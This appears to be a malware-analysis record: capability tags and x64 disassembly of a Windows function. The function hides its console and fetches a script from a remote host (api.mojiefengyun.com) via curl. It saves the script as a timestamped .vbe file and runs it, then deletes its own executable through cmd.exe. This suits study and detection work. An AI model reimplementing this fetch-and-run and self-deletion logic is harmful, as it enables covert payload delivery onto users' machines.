Function at 0x140001380
Capabilities:
Create process on windows
Execute command
Reference http user-agent string
Resolve path using msvcrt
Self delete
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x530]
sub rsp, 0x630
mov rax, qword [0x14007a700]
xor rax, rsp
mov qword [rbp + 0x520], rax
lea rcx, [rbp - 0x40]
call fcn.1400027a0
nop
mov ecx, 3
call fcn.140003ba0
call fcn.140003940
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x410]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_tmpnam]
lea rdx, [rbp + 0x410]
lea rcx, [rbp]
call fcn.140002760
nop
lea rcx, [rbp]
call fcn.140002590
mov r9, rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp]
call fcn.140002540
nop
test rdi, rdi
je 0x1400014ff
lea rdx, str.User_Agent:_Mozilla_5.0__Windows_NT_10.0__WOW64__Trident_7.0__rv:11.0__like_Gecko
xor ecx, ecx
call fcn.140003d00
lea rdx, str.Content_Type:application_json__charsetUTF_8
mov rcx, rax
call fcn.140003d00
mov r8, rax
mov edx, 0x2727
mov rcx, rdi
call fcn.140007ea0
lea r8, str.http:__api.mojiefengyun.com_external_script
mov edx, 0x2712
mov rcx, rdi
call fcn.140007ea0
mov edx, Ordinal_50
lea r8d, [rdx - 0x2e]
mov rcx, rdi
call fcn.140007ea0
lea r8, str._channel_:_yc___id_:_1_
mov edx, 0x271f
mov rcx, rdi
call fcn.140007ea0
lea r8, [0x140001350]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.140007ea0
lea r8, [rbp - 0x40]
mov edx, 0x2711
mov rcx, rdi
call fcn.140007ea0
xor r8d, r8d
lea edx, [r8 + 0x2a]
mov rcx, rdi
call fcn.140007ea0
mov rcx, rdi
call fcn.1400039b0
test eax, eax
je 0x1400014f7
mov ecx, eax
call fcn.140004740
mov rbx, rax
lea rdx, str.curl_easy_perform___failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002c30
mov rcx, rax
mov rdx, rbx
call fcn.140002c30
mov rcx, rax
lea rdx, [0x140002e00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call fcn.140003910
call fcn.140003b40
lea rcx, [rbp - 0x40]
call fcn.140002660
test al, al
jne 0x140001698
lea rcx, [rsp + 0x30]
call fcn.140001310
lea rcx, [rsp + 0x30]
call fcn.140001330
mov qword [rbp - 0x48], rax
lea rcx, [rbp - 0x48]
call sub.api_ms_win_crt_time_l1_1_0.dll__localtime64
mov r9, rax
lea r8, str._Y_m_d_H_M_S
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rdx, [rbp + 0x170]
lea rcx, [rsp + 0x38]
call fcn.140002760
nop
lea r8, str..vbe
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.140002e40
nop
lea rcx, [rsp + 0x38]
call fcn.140002700
lea rcx, [rbp + 0x60]
call fcn.140001830
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x78]
call fcn.140002eb0
nop
lea r8, [rbp - 0x20]
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140002fe0
nop
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.1400024f0
nop
lea rcx, [rsp + 0x58]
call fcn.140002700
nop
lea rcx, [rsp + 0x78]
call fcn.140002700
lea rcx, [rbp + 0x60]
call fcn.1400024e0
test al, al
je 0x140001601
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x60]
call fcn.140003050
mov rcx, rax
lea rdx, [0x140002e00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x60]
call fcn.1400024a0
lea r8, [rbp + 0x20]
lea rcx, [rbp - 0x68]
call fcn.140003070
nop
lea r8, [0x140070fa0]
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140002e40
nop
lea r8, [rbp - 0x20]
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140002fe0
nop
lea rcx, [rsp + 0x38]
call fcn.140002700
nop
lea rcx, [rbp - 0x68]
call fcn.140002700
lea rcx, [rbp + 0x40]
call fcn.140002670
lea rdx, [rbp + 0x180]
sub rdx, rax
nop dword [rax]
movzx ecx, byte [rax]
mov byte [rdx + rax], cl
lea rax, [rax + 1]
test cl, cl
jne 0x140001660
lea rcx, [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x40]
call fcn.140002700
nop
lea rcx, [rbp + 0x60]
call fcn.140001770
nop
lea rcx, [rbp - 0x20]
call fcn.140002700
xor edx, edx
mov r8d, 0x10e
lea rcx, [rbp + 0x300]
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WS2_32.dll_ntohs
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p__pgmptr]
xor r9d, r9d
mov r8, qword [rax]
lea edx, [r9 + 5]
lea ecx, [rdx - 1]
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x1f0]
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p__pgmptr]
mov r8, qword [rax]
lea rdx, [0x140070fb8]
lea rcx, [rbp + 0x1f0]
call fcn.140001020
lea r8, [rbp + 0x1f0]
lea rdx, str._c_del__q__s
lea rcx, [rbp + 0x300]
call fcn.140001020
xor eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x300]
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]